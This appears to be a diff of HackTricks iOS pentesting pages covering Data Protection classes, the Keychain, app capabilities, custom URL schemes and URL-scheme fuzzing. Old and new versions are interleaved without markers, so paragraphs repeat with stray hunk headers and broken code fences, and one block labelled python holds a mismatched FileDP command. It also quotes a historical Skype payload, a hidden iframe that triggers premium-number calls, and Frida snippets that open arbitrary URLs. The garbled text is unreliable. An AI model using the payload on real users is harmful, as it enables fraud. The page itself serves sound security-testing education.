Applications are installed in a specific directory (`private/var/mobile/Applications/{random ID}`) and have restricted read access to certain system areas and functionalities, such as SMS and phone calls. Access to protected areas triggers a pop-up request for user permission.
# Data Protection
App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control** for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** (SEP). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID** (Unique ID)-is **embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised.
iOS offers developers the **Data Protection APIs**, built atop the Secure Enclave Processor (SEP) — a dedicated coprocessor for cryptographic operations and key management. The SEP ensures data protection integrity via a unique device-specific key, the device UID, embedded within it.
When a **file is created** on the disk, a new **256-bit AES key is generated** with the help of secure enclave's hardware based random number generator. The **content of the file is then encrypted with the generated key**. And then, this **key is saved encrypted with a class key** along with **the class ID,** with **both data encrypted by the system's key,** inside the **metadata** of the file.
Upon file creation, a unique 256-bit AES encryption key is generated, encrypting the file's content. This encryption key, alongside a class ID, is then encrypted using a class key and stored within the file's metadata. Decrypting a file involves using the system's key to access the metadata, retrieving the class key with the class ID, and then decrypting the file's unique encryption key.
![](<../../.gitbook/assets/image (473).png>)
iOS defines **four protection classes** for data security, which determine when and how data can be accessed:
For decrypting the file, the **metadata is decrypted using the system's key**. Then u**sing the class ID** the **class key is retrieved** **to decrypt the per-file key and decrypt the file.**
- **Complete Protection (NSFileProtectionComplete)**: Data is inaccessible until the device is unlocked using the user's passcode.
- **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: Allows file access even after the device is locked, provided the file was opened when the device was unlocked.
- **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Data is accessible after the first user unlock post-boot, remaining accessible even if the device is locked again.
- **No Protection (NSFileProtectionNone)**: Data is only protected by the device UID, facilitating quick remote data wiping.
Files can be assigned to one of **four** **different** **protection** classes, which are explained in more detail in the [Apple Platform Security Guide](https://help.apple.com/pdf/security/en_US/apple-platform-security-guide.pdf):
The encryption of all classes, except for `NSFileProtectionNone`, involves a key derived from both the device UID and the user's passcode, ensuring decryption is only possible on the device with the correct passcode. From iOS 7 onwards, the default protection class is "Protected Until First User Authentication".
* **Complete Protection (NSFileProtectionComplete)**: A key derived from the user passcode and the device UID protects this class key. The derived key is wiped from memory shortly after the device is locked, making the data inaccessible until the user unlocks the device.
* **Protected Unless Open (NSFileProtectionCompleteUnlessOpen)**: This protection class is similar to Complete Protection, but, if the file is opened when unlocked, the app can continue to access the file even if the user locks the device. This protection class is used when, for example, a mail attachment is downloading in the background.
* **Protected Until First User Authentication (NSFileProtectionCompleteUntilFirstUserAuthentication)**: The file can be accessed as soon as the user unlocks the device for the first time after booting. It can be accessed even if the user subsequently locks the device and the class key is not removed from memory.
* **No Protection (NSFileProtectionNone)**: The key for this protection class is protected with the UID only. The class key is stored in "Effaceable Storage", which is a region of flash memory on the iOS device that allows the storage of small amounts of data. This protection class exists for fast remote wiping (immediate deletion of the class key, which makes the data inaccessible).
Developers can use [**FileDP**](https://github.com/abjurato/FileDp-Source), a tool for inspecting the data protection class of files on an iPhone.
All class keys except `NSFileProtectionNone` are encrypted with a key derived from the device UID and the user's passcode. As a result, decryption can happen only on the device itself and requires the correct passcode.
```python
# Example code to use FileDP for checking file protection class
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
# Installation and usage of FileDP:
git clone https://github.com/abjurato/FileDp-Source
cd FileDp-Source
python filedp.py /path/to/check
```
Since iOS 7, the default data protection class is "Protected Until First User Authentication".
## **The Keychain**
[**FileDP**](https://github.com/abjurato/FileDp-Source) is a program that you can upload and use inside the IPhone to **inspect the data protection class** of each file.
In iOS, a **Keychain** serves as a secure **encrypted container** for storing **sensitive information**, accessible only by the application that stored it or those explicitly authorized. This encryption is fortified by a unique **password generated by iOS**, which itself is encrypted with **AES**. This encryption process leverages a **PBKDF2 function**, combining the user's passcode with a salt derived from the device's **UID**, a component only the **secure enclave chipset** can access. Consequently, even if the user's passcode is known, the Keychain contents remain inaccessible on any device other than the one where they were originally encrypted.
## The Keychain
**Management and access** to the Keychain data are handled by the **`securityd` daemon**, based on specific app entitlements like `Keychain-access-groups` and `application-identifier`.
A keychain is an **encrypted** **container** where every application can **store** **sensitive** pieces of **information** and only the same app (or authorised apps) can retrieve the contents.\
The iOS **generated its own password for the keychain** and **stores** an **encrypted** version of this key in the device. This password is encrypted with AES using an AES key created by a **PBKDF2** function of the **user's passcode + salt** (the 256 bit device **UID** **only** **accessible** to the secure **enclave chipset** on the device). Due to the use of this device UID as salt, a device won't be able to decrypt the keychain of a different device even knowing the users passcode.
### **Keychain API Operations**
Access to the Keychain is managed by the **`securityd`** daemon, which grants access according to the app's `Keychain-access-groups`, `application-identifier`, and `application-group` entitlements.
The Keychain API, detailed at [Apple's Keychain Services documentation](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), provides essential functions for secure storage management:
The [Keychain API](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) includes the following main operations:
- **`SecItemAdd`**: Adds a new item to the Keychain.
- **`SecItemUpdate`**: Updates an existing item in the Keychain.
- **`SecItemCopyMatching`**: Retrieves an item from the Keychain.
- **`SecItemDelete`**: Removes an item from the Keychain.
* `SecItemAdd`
* `SecItemUpdate`
* `SecItemCopyMatching`
* `SecItemDelete`
Brute-forcing the Keychain password involves either attacking the encrypted key directly or attempting to guess the passcode on the device itself, hindered significantly by secure enclave's enforcement of a delay between failed attempts.
The only ways to try to BF this password is dumping the encrypted key and BF the passcode + salt (the **pbkdf2** function uses **at least 10000 iteration**s). Or trying to **BF inside the device** to avoids BFing the salt, however, secure enclave ensures there is at least a **5s delay between 2 failed password attempts**.
### **Configuring Keychain Item Data Protection**
You can configure **data protection for Keychain items** by setting the `kSecAttrAccessible` key in the call to `SecItemAdd` or `SecItemUpdate`.The following configurable [accessibility values for kSecAttrAccessible](https://developer.apple.com/documentation/security/keychain\_services/keychain\_items/item\_attribute\_keys\_and\_values#1679100) are the Keychain Data Protection classes:
Data protection levels for Keychain items are set using the `kSecAttrAccessible` attribute during item creation or update. These levels, [as specified by Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determine when and how Keychain items are accessible:
* **`kSecAttrAccessibleAlways`**: The data in the Keychain item can **always be accessed**, regardless of whether the device is locked.
* **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: The data in the Keychain item can **always** **be** **accessed**, regardless of whether the device is locked. The data **won't be included in an iCloud** or local backup.
* **`kSecAttrAccessibleAfterFirstUnlock`**: The data in the Keychain item can't be accessed after a restart until the **device has been unlocked once** by the user.
* **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: The data in the Keychain item can't be accessed after a restart until the **device has been unlocked once** by the user. Items with this attribute do **not migrate to a new device**. Thus, after restoring from a backup of a different device, these items will not be present.
* **`kSecAttrAccessibleWhenUnlocked`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user.
* **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: The data in the Keychain item can be accessed **only while the device is unlocked** by the user. The data **won't be included in an iCloud or local backup**.
* **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: The data in the Keychain can be accessed **only when the device is unlocked**. This protection class is **only available if a passcode is set** on the device. The data w**on't be included in an iCloud or local backup**.
- **`kSecAttrAccessibleAlways`**: Accessible anytime, regardless of device lock status.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Always accessible, but not included in backups.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Accessible after the first unlock post-restart.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Same as above, but not transferable to new devices.
- **`kSecAttrAccessibleWhenUnlocked`**: Only accessible when the device is unlocked.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Accessible when unlocked, not included in backups.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Requires device passcode, not included in backups.
**`AccessControlFlags`** define the mechanisms with which users can authenticate the key (`SecAccessControlCreateFlags`):
**`AccessControlFlags`** further refine access methods, allowing for biometric authentication or passcode use.
* **`kSecAccessControlDevicePasscode`**: Access the item via a passcode.
* **`kSecAccessControlBiometryAny`**: Access the item via one of the fingerprints registered to Touch ID. Adding or removing a fingerprint won't invalidate the item.
* **`kSecAccessControlBiometryCurrentSet`**: Access the item via one of the fingerprints registered to Touch ID. Adding or removing a fingerprint _will_ invalidate the item.
* **`kSecAccessControlUserPresence`**: Access the item via either one of the registered fingerprints (using Touch ID) or default to the passcode.
Please note that keys secured by Touch ID (via `kSecAccessControlBiometryAny` or `kSecAccessControlBiometryCurrentSet`) are protected by the Secure Enclave: The Keychain holds a token only, not the actual key. The key resides in the Secure Enclave.
The iPhone uses the **passcode introduced by the user unlocking the device to decrypt the secrets in the keychain**.
iOS uses the _**AppIdentifierPrefix**_ (Team ID) and the _**BundleIdentifier**_ (provided by the dev) to enforce **access control oven keychain items**. Then, the same team **can** **configure** **2 apps to share keychain items**.
When a backup process is initiated the keychain **data backed up remains encrypted and the keychain password isn't included in the backup**.
### **Jailbroken Devices Warning**
{% hint style="warning" %}
**In a jailbroken device the keychain isn't protected.**
On **jailbroken devices**, the Keychain's protections are compromised, posing a significant security risk.
{% endhint %}
### **Keychain Data Persistence**
### **Persistence of Keychain Data**
On iOS, when an application is uninstalled, the Keychain data used by the application is retained by the device, unlike the data stored by the application sandbox which is wiped. In the event that a **user sells their device without performing a factory reset, the buyer of the device may be able to gain access to the previous user's application accounts and data by reinstalling** the same applications used by the previous user. This would require no technical ability to perform.
Unlike app-specific data deleted upon app uninstallation, **Keychain data persists** on the device. This characteristic could enable new owners of a second-hand device to access the previous owner's application data simply by reinstalling apps. Developers are advised to proactively clear Keychain data upon app installation or during logout to mitigate this risk. Here's a Swift code example demonstrating how to clear Keychain data upon the first app launch:
There's no iOS API that developers can use to force wipe data when an application is uninstalled. Instead, developers should take the following steps to prevent Keychain data from persisting between application installations:
* When an application is first launched after installation, wipe all Keychain data associated with the application. This will prevent a device's second user from accidentally gaining access to the previous user's accounts. The following Swift example is a basic demonstration of this wiping procedure:
```objectivec
```swift
let userDefaults = UserDefaults.standard
if userDefaults.bool(forKey: "hasRunBefore") == false {
@ -113,93 +99,56 @@ if userDefaults.bool(forKey: "hasRunBefore") == false {
}
```
* When developing logout functionality for an iOS application, make sure that the Keychain data is wiped as part of account logout. This will allow users to clear their accounts before uninstalling an application.
# **App Capabilities**
**Each app has a unique home directory and is sandboxed**, so that they cannot access protected system resources or files stored by the system or by other apps. These restrictions are implemented via sandbox policies (aka. _profiles_), which are enforced by the [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via a kernel extension.
In the realm of app development, **sandboxing** plays a crucial role in enhancing security. This process ensures that each app operates within its own unique home directory, thus preventing it from accessing system files or data belonging to other apps. The enforcement of these restrictions is carried out through sandbox policies, which are a part of the **Trusted BSD (MAC) Mandatory Access Control Framework**.
Some [**capabilities/permissions**](https://help.apple.com/developer-account/#/dev21218dfd6) can be configured by the app's developers (e.g. Data Protection or Keychain Sharing) and will directly take effect after the installation. However, for others, **the user will be explicitly asked the first time the app attempts to access a protected resource**.
Developers have the ability to configure certain **capabilities or permissions** for their apps, such as **Data Protection** or **Keychain Sharing**. These permissions are applied immediately after the app is installed. Nonetheless, for accessing certain protected resources, the app must obtain explicit consent from the user at the time of the first attempt. This is achieved through the use of _purpose strings_ or _usage description strings_, which are presented to users in a permission request alert.
[_Purpose strings_](https://developer.apple.com/documentation/uikit/core\_app/protecting\_the\_user\_s\_privacy/accessing\_protected\_resources?language=objc#3037322) or _usage description strings_ are custom texts that are offered to users in the system's permission request alert when requesting permission to access protected data or resources.
For those with access to the source code, verification of permissions included in the `Info.plist` file can be done by:
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media)
1. Opening the project in Xcode.
2. Locating and opening the `Info.plist` file.
3. Searching for keys prefixed with `"Privacy -"`, with the option to view raw keys/values for clarity.
If having the original source code, you can verify the permissions included in the `Info.plist` file:
When dealing with an IPA file, the following steps can be followed:
* Open the project with Xcode.
* Find and open the `Info.plist` file in the default editor and search for the keys starting with `"Privacy -"`.
1. Unzip the IPA.
2. Locate the `Info.plist` file within `Payload/<appname>.app/`.
3. Convert the file to XML format if necessary, for easier inspection.
You may switch the view to display the raw values by right-clicking and selecting "Show Raw Keys/Values" (this way for example `"Privacy - Location When In Use Usage Description"` will turn into `NSLocationWhenInUseUsageDescription`).
For example, the purpose strings in the `Info.plist` file might look like this:
If only having the IPA:
* Unzip the IPA.
* The `Info.plist` is located in `Payload/<appname>.app/Info.plist`.
* Convert it if needed (e.g. `plutil -convert xml1 Info.plist`) as explained in the chapter "iOS Basic Security Testing", section "The Info.plist File".
* Inspect all _purpose strings Info.plist keys_, usually ending with `UsageDescription`:
```markup
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## Device Capabilities
The `Info.plist` file of an app specifies **device capabilities** that help the App Store filter apps for device compatibility. These are defined under the **`UIRequiredDeviceCapabilities`** key. For instance:
Device capabilities are used by the App Store to ensure that only compatible devices are listed and therefore are allowed to download the app. They are specified in the `Info.plist` file of the app under the [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities) key.
```markup
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
> Typically you'll find the `armv7` capability, meaning that the app is compiled only for the armv7 instruction set, or if it’s a 32/64-bit universal app.
For example, an app might be completely dependent on NFC to work (e.g. a ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) app). According to the [archived iOS Device Compatibility Reference](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC is only available starting on the iPhone 7 (and iOS 11). A developer might want to exclude all incompatible devices by setting the `nfc` device capability.
This example indicates that the app is compatible with the armv7 instruction set. Developers may also specify capabilities like nfc to ensure their app is only available to devices supporting NFC.
## Entitlements
> Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to **perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon.
**Entitlements** are another critical aspect of iOS app development, serving as key-value pairs that grant apps permission to perform certain operations beyond runtime checks. For example, enabling **Data Protection** in an app involves adding a specific entitlement in the Xcode project, which is then reflected in the app's entitlements file or the embedded mobile provision file for IPAs.
For example, if you want to set the "Default Data Protection" capability, you would need to go to the **Capabilities** tab in Xcode and enable **Data Protection**. This is directly written by Xcode to the `<appname>.entitlements` file as the `com.apple.developer.default-data-protection` entitlement with default value `NSFileProtectionComplete`. In the IPA we might find this in the `embedded.mobileprovision` as:
```markup
<key>Entitlements</key>
<dict>
...
<key>com.apple.developer.default-data-protection</key>
<string>NSFileProtectionComplete</string>
</dict>
```
# References
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
For other capabilities such as HealthKit, the user has to be asked for permission, therefore it is not enough to add the entitlements, special keys and strings have to be added to the `Info.plist` file of the app.
# Objective-C and Swift Basics
**Objecttive-C** has a **dynamic runtime**, so when an Objective-C program is executed in iOS, it calls libraries whose **address are resolved at runtime** by comparing the name of the function sent in the message against a list of all the function names available.
At the beginning, only apps created by Apple run the iPhones, so they had **access to everything** as they were **trusted**. However, when Apple **allowed** **third party applications,** Apple just removed the headers files of the powerful functions to "hide" them to developers. However, developers found that "safe" functions needed a few of these undocumented functions and just creating a **custom header file with the names of the undocumented functions, it was possible to invoke this powerful hidden functions.** Actually, Apple, before allowing an app to be published, check if the app calls any of these prohibited functions.
Then, Swift appeared. As **Swift is statically bound** (it doesn't resolve the address of the functions in runtime like Objective-C), it can be checked more easily the calls a Swift program is going to make via static code analysis.
# Device Management
From iOS version 6, there is **built-in support for device management** capability with fine grain controls that allows an organisation to control the corporate apple devices.\
The enrolment can be **initiated by the user installing an agent** in order to access the corporate apps. In this case the device usually belongs to the user.\
Or the **company can indicate the serial numbers** of the bought devices or the purchase order ID and specify the MDM profile to install on those devices. Note that Apple **doesn't allow to enrol a particular device this way twice**. Once the first profile is deleted the user needs to give consent to install another one.
The user can see the installed policies in _**Settings**_ --> _**General**_ --> _**Profile and Device Management**_
As these MDM policies are checking and limiting other applications, they are **running with more privileges**.\
A MDM policy can **enforce** **users** to have a **passcode** set with a **minimun** password **complexity**.\
The profiles are tied to the deviceID, **signed** and **encrypted** by the MDM server and **tamper** **proof**. They **cannot** be **removed** without **losing** all the **corporate** **data**.\
MDM profiles allow to **wipe** all the **data** if there are X **failed** password **attempts**. Also, the **admin** can **remote** **wipe** the iPhone whenever via the MDM interface.
MDM agents will **check** also for **possible jailbreaks of the device**, as this is very dangerous state for an iPhone.
<details>

147
mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
View file

@ -14,57 +14,29 @@ Other ways to support HackTricks:
</details>
This is a sumary from the related information from [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
Custom URL schemes [allow apps to communicate via a custom protocol](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). An app must declare support for the schemes and handle incoming URLs that use those schemes.
## Basic Information
> URL schemes offer a potential attack vector into your app, so make sure to **validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**.
Custom URL schemes enable apps to communicate using a custom protocol, as detailed in the [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). These schemes must be declared by the app, which then handles incoming URLs following those schemes. It's crucial to **validate all URL parameters** and **discard any malformed URLs** to prevent attacks through this vector.
For example, the URI: `myapp://hostname?data=123876123` will **invoke** the **application** mydata (the one that has **register** the scheme `mydata`) to the **action** related to the **hostname** `hostname` sending the **parameter** `data` with value `123876123`
An example is given where the URI `myapp://hostname?data=123876123` invokes a specific application action. A noted vulnerability was in the Skype Mobile app, which allowed unpermitted call actions via the `skype://` protocol. The registered schemes can be found in the app's `Info.plist` under `CFBundleURLTypes`. Malicious applications can exploit this by re-registering URIs to intercept sensitive information.
One vulnerable example is the following [bug in the Skype Mobile app](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), discovered in 2010: The Skype app registered the `skype://` protocol handler, which **allowed other apps to trigger calls to other Skype users and phone numbers**. Unfortunately, Skype didn't ask users for permission before placing the calls, so any app could call arbitrary numbers without the user's knowledge. Attackers exploited this vulnerability by putting an invisible `<iframe src="skype://xxx?call"></iframe>` (where `xxx` was replaced by a premium number), so any Skype user who inadvertently visited a malicious website called the premium number.
### Application Query Schemes Registration
You can find the **schemes registered by an application** in the app's **`Info.plist`** file searching for **`CFBundleURLTypes`** (example from [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)):
From iOS 9.0, to check if an app is available, `canOpenURL:` requires declaring URL schemes in the `Info.plist` under `LSApplicationQueriesSchemes`. This limits the schemes an app can query to 50, enhancing privacy by preventing app enumeration.
```markup
<key>CFBundleURLTypes</key>
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
<dict>
<key>CFBundleURLName</key>
<string>com.iGoat.myCompany</string>
<key>CFBundleURLSchemes</key>
<array>
<string>iGoat</string>
</array>
</dict>
<string>url_scheme1</string>
<string>url_scheme2</string>
</array>
```
However, note that **malicious applications can re-register URIs** already registered by applications. So, if you are sending **sensitive information via URIs** (myapp://hostname?password=123456) a **malicious** application can **intercept** the URI with the **sensitive** **information**.
### Testing URL Handling and Validation
Also, the input of these URIs **should be checked and sanitised,** as it can be coming from **malicious** **origins** trying to exploit SQLInjections, XSS, CSRF, Path Traversals, or other possible vulnerabilities.
## Application Query Schemes Registration
Apps can call [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) to verify that the **target app is available**. However, as this method was being used by malicious app as a way to **enumerate installed apps**, [from iOS 9.0 the URL schemes passed to it must be also declared](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) by adding the `LSApplicationQueriesSchemes` key to the app's `Info.plist` file and an array of **up to 50 URL schemes**.
```markup
<key>LSApplicationQueriesSchemes</key>
<array>
<string>url_scheme1</string>
<string>url_scheme2</string>
</array>
```
`canOpenURL` will always return `NO` for undeclared schemes, whether or not an appropriate app is installed. However, this restriction only applies to `canOpenURL`.
## Testing URL Handling and Validation
In order to determine how a URL path is built and validated, if you have the original source code, you can **search for the following methods**:
* `application:didFinishLaunchingWithOptions:` method or `application:will-FinishLaunchingWithOptions:`: verify how the decision is made and how the information about the URL is retrieved.
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verify how the resource is being opened, i.e. how the data is being parsed, verify the [options](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especially if access by the calling app ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) should be allowed or denied. The app might also need user permission when using the custom URL scheme.
In Telegram you will [find four different methods being used](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250):
Developers should inspect specific methods in the source code to understand URL path construction and validation, such as `application:didFinishLaunchingWithOptions:` and `application:openURL:options:`. For instance, Telegram employs various methods for opening URLs:
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
@ -90,94 +62,17 @@ func application(_ application: UIApplication, handleOpen url: URL) -> Bool {
}
```
## Testing URL Requests to Other Apps
### Testing URL Requests to Other Apps
The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs** (i.e. to send requests / make queries to other apps) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods.
Methods like `openURL:options:completionHandler:` are crucial for opening URLs to interact with other apps. Identifying usage of such methods in the app's source code is key for understanding external communications.
Additionally, if you are interested into knowing if the app is querying specific services or apps, and if the app is well-known, you can also search for common URL schemes online and include them in your **greps (l**[**ist of iOS app schemes**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**.
### Testing for Deprecated Methods
```bash
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
egrep -nr "openURL\(" ./Telegram-iOS/
egrep -nr "mt-encrypted-file://" ./Telegram-iOS/
egrep -nr "://" ./Telegram-iOS/
```
Deprecated methods handling URL openings, such as `application:handleOpenURL:` and `openURL:`, should be identified and reviewed for security implications.
## Testing for Deprecated Methods
### Fuzzing URL Schemes
Search for deprecated methods like:
* [`application:handleOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622964-application?language=objc)
* [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)
* [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application)
For example, here we find those three:
```bash
$ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
0x1000d9e90 31 30 UIApplicationOpenURLOptionsKey
0x1000dee3f 50 49 application:openURL:sourceApplication:annotation:
0x1000dee71 29 28 application:openURL:options:
0x1000dee8e 27 26 application:handleOpenURL:
0x1000df2c9 9 8 openURL:
0x1000df766 12 11 canOpenURL:
0x1000df772 35 34 openURL:options:completionHandler:
...
```
## Calling arbitrary URLs
* **Safari**: To quickly test one URL scheme you can open the URLs on Safari and observe how the app behaves. For example, if you write `tel://123456789` safari will try to start calling the number.
* **Notes App**: Long press the links you've written in order to test custom URL schemes. Remember to exit the editing mode in order to be able to open them. Note that you can click or long press links including custom URL schemes only if the app is installed, if not they won't be highlighted as _clickable links_.
* [**IDB**](https://github.com/facebook/idb):
* Start IDB, connect to your device and select the target app. You can find details in the [IDB documentation](https://www.idbtool.com/documentation/setup.html).
* Go to the **URL Handlers** section. In **URL schemes**, click **Refresh**, and on the left you'll find a list of all custom schemes defined in the app being tested. You can load these schemes by clicking **Open**, on the right side. By simply opening a blank URI scheme (e.g., opening `myURLscheme://`), you can discover hidden functionality (e.g., a debug window) and bypass local authentication.
* **Frida**:
If you simply want to open the URL scheme you can do it using Frida:
```javascript
$ frida -U iGoat-Swift
[iPhone::iGoat-Swift]-> function openURL(url) {
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
return UIApplication.openURL_(toOpen);
}
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
true
```
In this example from [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) the author uses the non-public API `LSApplicationWorkspace.openSensitiveURL:withOptions:` to open the URLs (from the SpringBoard app):
```javascript
function openURL(url) {
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
return w.openSensitiveURL_withOptions_(toOpen, null);
}
```
> Note that the use of non-public APIs is not permitted on the App Store, that's why we don't even test these but we are allowed to use them for our dynamic analysis.
## Fuzzing URL Schemes
If the app parses parts of the URL, you can also perform input fuzzing to detect memory corruption bugs.
What we have learned above can be now used to build your own fuzzer on the language of your choice, e.g. in Python and call the `openURL` using [Frida's RPC](https://www.frida.re/docs/javascript-api/#rpc). That fuzzer should do the following:
* Generate payloads.
* For each of them call `openURL`.
* Check if the app generates a crash report (`.ips`) in `/private/var/mobile/Library/Logs/CrashReporter`.
The [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) project offers fuzzing dictionaries that you can use as payloads.
## **Fuzzing Using Frida**
Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) to see an example that fuzzes the iGoat-Swift app (working on iOS 11.1.2).
Before running the fuzzer we need the URL schemes as inputs. From the static analysis we know that the iGoat-Swift app supports the following URL scheme and parameters: `iGoat://?contactNumber={0}&message={0}`.
Fuzzing URL schemes can identify memory corruption bugs. Tools like [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) can automate this process by opening URLs with varying payloads to monitor for crashes, exemplified by the manipulation of URLs in the iGoat-Swift app:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
@ -187,11 +82,9 @@ No logs were moved.
Opened URL: iGoat://?contactNumber=0&message=0
```
# References
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
## References
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
<details>

138
mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md
View file

@ -14,158 +14,72 @@ Other ways to support HackTricks:
</details>
Code and more information in [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## Object Serialization in iOS Development
In iOS, **object serialization** involves converting objects into a format that can be easily stored or transmitted, and then reconstructing them from this format when needed. Two main protocols, **`NSCoding`** and **`NSSecureCoding`**, facilitate this process for Objective-C or `NSObject` subclasses, allowing objects to be serialized into **`NSData`**, a format that wraps byte buffers.
### NSCoding and NSSecureCoding
